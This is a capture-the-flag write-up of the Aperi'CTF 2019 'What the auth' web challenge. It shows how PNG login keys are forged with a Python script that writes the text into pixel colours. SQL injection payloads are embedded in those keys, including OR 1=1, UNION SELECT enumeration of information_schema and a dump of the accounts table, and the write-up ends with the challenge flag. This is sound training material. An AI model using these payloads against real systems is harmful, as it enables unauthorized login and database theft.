What the auth

Aperi'CTF 2019 - Web (175 pts).

Aperi’CTF 2019 - What the auth

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 What the auth Web 175 1

Une société a mis au point une nouvelle méthode d’authentification et a inscrit sa solution à un programme de bug bounty. Cassez l’authentification et ramenez leurs le contenu de leur base de donnée.

https://what.aperictf.fr

TL;DR

We had a website with upload form at the index. Robots.txt leads us to a png key file. We could log as guest with de png file. Looking at the file we can see that text is encoded on the pixels. We can perform an sql injection by crafting png file and login with it.

Methodology

Scan

If we look at the page, we’re served a form:

![login.png](/files/aperictf_2019/what_the_auth/login.png)

We can try to log with a file, but end up with the error: File must be a valid PNG.. We can try to log with a png file, but we still have errors:

![loginerror.png](/files/aperictf_2019/what_the_auth/loginerror.png)

It’s time to launch a scan and inspect /robots.txt file:

User-agent: *
Allow: /
Disallow: /s3cr3tk3y/

Nikto also gave us the information:

nikto -h https://what.aperictf.fr/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          127.0.0.1
+ Target Hostname:    127.0.0.1
+ Target Port:        10001
+ Start Time:         2019-05-12 22:17:51 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.16.0
+ Retrieved x-powered-by header: PHP/7.3.5
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3268: /s3cr3tk3y/: Directory indexing found.
...

Looking at https://what.aperictf.fr/s3cr3tk3y/ we are offered a delicious directory listing:

![directory.png](/files/aperictf_2019/what_the_auth/directory.png)

Investigation

We can then download the s3cr3tk3y.png file:

![s3cr3tk3y.png](/files/aperictf_2019/what_the_auth/s3cr3tk3y.png)

And login with it:

![guest.png](/files/aperictf_2019/what_the_auth/guest.png)

Obviously, this is a “guest” key. We need to break the authentification process, so lets dig into the guest key format.

There is no exif on the image. Maybe some steg ? I usually use aperisolve.fr but you can also use zsteg or stegsolve.

zsteg s3cr3tk3y.png
imagedata           .. text: "guest:guest:"
b1,r,lsb,xy         .. text: "z\t7\txQiP"
b2,g,lsb,xy         .. text: "2vW<W?f-1"
b3,rgb,msb,xy       .. text: "KCkzUDprz"

We can see that there is guest:guest: encoded on the imagedata. Let’s verify with python:

from PIL import Image

img = Image.open("s3cr3tk3y.png")
l = list(img.getdata())
data = ""

for px in l[:4]:
    data += chr(px[0])
    data += chr(px[1])
    data += chr(px[2])

print(data)

Output:

guest:guest:

Note: after 4 px we get random data.

Now we can certify that data is coded on pixels colors on each layers. Each layer of each pixels is a integer between 0 and 255 corresponding to an ascii char.

Inject

Now it’s time to fuzz the s3cr3tk3y.png. After the test, we can change the name of the image, we can crop its bottom, etc… Let’s try to modify the encoded guest:guest:

For this, I made a python script which can be used to generate keys beginning with a given string.

import random
from PIL import Image

def genImage(text,nom):
    img = Image.new('RGB', (200, 200))
    pxlist = []
    j = 0
    for i in range(200*200):
        if j < len(text):
            r = ord(text[j])
        else:
            r = random.randint(0,255)
        j += 1
        if j < len(text):
            g = ord(text[j])
        else:
            g = random.randint(0,255)
        j += 1
        if j < len(text):
            b = ord(text[j])
        else:
            b = random.randint(0,255)
        j += 1
        px = (r,g,b)
        pxlist.append(px)
    img.putdata(pxlist)
    img.save(nom)

Let’s change the 2nd part “guest” with “test”.

genImage("guest:test:","test.png")
![creds.png](/files/aperictf_2019/what_the_auth/creds.png)

First part and second part seems to be the credentials. Let’s try an SQL injection in the 2nd part with " OR 1=1# as password:

genImage('guest:" OR 1=1#:',"test.png")
![guest.png](/files/aperictf_2019/what_the_auth/guest.png)

SQL injection works !

Exploitation

Now that we triggered a SQL injection, we can exploit it using blind exploitation or see if we can find a reflected value.

Here, we assume that the query looks like this:

SELECT *
FROM table
WHERE user="<param1>" AND password="<param2>";
Number of columns

For a normal SQLi exploitation, we need to find the number of column in the current query. We can use GROUP BY X keywords where X is the last column number.

The query will look like:

SELECT *
FROM table
WHERE user="guest" AND password="guest" GROUP BY 1#";
genImage('guest:guest" GROUP BY 1#:','img1.png')
genImage('guest:guest" GROUP BY 2#:','img2.png')
genImage('guest:guest" GROUP BY 3#:','img3.png')
genImage('guest:guest" GROUP BY 4#:','img4.png')

Here, we’ve been logged in with the 3 firsts images. That means that 3 columns are in use in this query.

Lets try an UNION query.

genImage('guest:x" UNION SELECT 1,2,3#:',"test.png")

The query will look like:

SELECT *
FROM table
WHERE user="guest" AND password="x"
UNION
SELECT 1,2,3#";

We’ve got:

![welcome1.png](/files/aperictf_2019/what_the_auth/welcome1.png)

The first column is reflected on the user page.

Table name

To perform a UNION exploitation, we need the table name. We can either bruteforce it or use information_schema table which contains table names.

We will use the following query, where X is the line index starting at 0:

SELECT table_name
FROM information_schema.tables
WHERE table_schema != "mysql"
AND table_schema != "information_schema"
LIMIT X,1
genImage('guest:x" UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema != "mysql" AND table_schema != "information_schema" LIMIT 0,1#:',"img0.png")

For the index 0 we have:

![welcome_accounts.png](/files/aperictf_2019/what_the_auth/welcome_accounts.png)

Let’s dig into the accounts table. We’ll recover column names from accounts table using the same method.

SELECT column_name
FROM information_schema.columns
WHERE table_schema = "accounts"
LIMIT X,1
genImage('guest:x" UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema = "accounts" LIMIT 0,1#:',"img0.png")
genImage('guest:x" UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema = "accounts" LIMIT 1,1#:',"img1.png")
genImage('guest:x" UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema = "accounts" LIMIT 2,1#:',"img2.png")
![welcome_user.png](/files/aperictf_2019/what_the_auth/welcome_user.png)

![welcome_passwd.png](/files/aperictf_2019/what_the_auth/welcome_passwd.png)

![welcome_description.png](/files/aperictf_2019/what_the_auth/welcome_description.png)

Now that we have table names and column names, we’ll use concat to dump every column at once.

SELECT CONCAT(user," -- ",passwd," -- ",description)
FROM accounts
LIMIT X,1
genImage('guest:x" UNION SELECT CONCAT(user," - ",passwd," - ",description),2,3 FROM accounts LIMIT 0,1#:',"img0.png")
genImage('guest:x" UNION SELECT CONCAT(user," - ",passwd," - ",description),2,3 FROM accounts LIMIT 1,1#:',"img1.png")
genImage('guest:x" UNION SELECT CONCAT(user," - ",passwd," - ",description),2,3 FROM accounts LIMIT 2,1#:',"img2.png")
![guest_all.png](/files/aperictf_2019/what_the_auth/guest_all.png)

![admin_all.png](/files/aperictf_2019/what_the_auth/admin_all.png)

![jean_all.png](/files/aperictf_2019/what_the_auth/jean_all.png)

We could have dumped more users, but that’s more than enough!

Flag

APRK{StegQL_InJeCt10n_pVKzJ4pSP4EM93a5sR326QJtUnfVaxWC}

Zeecka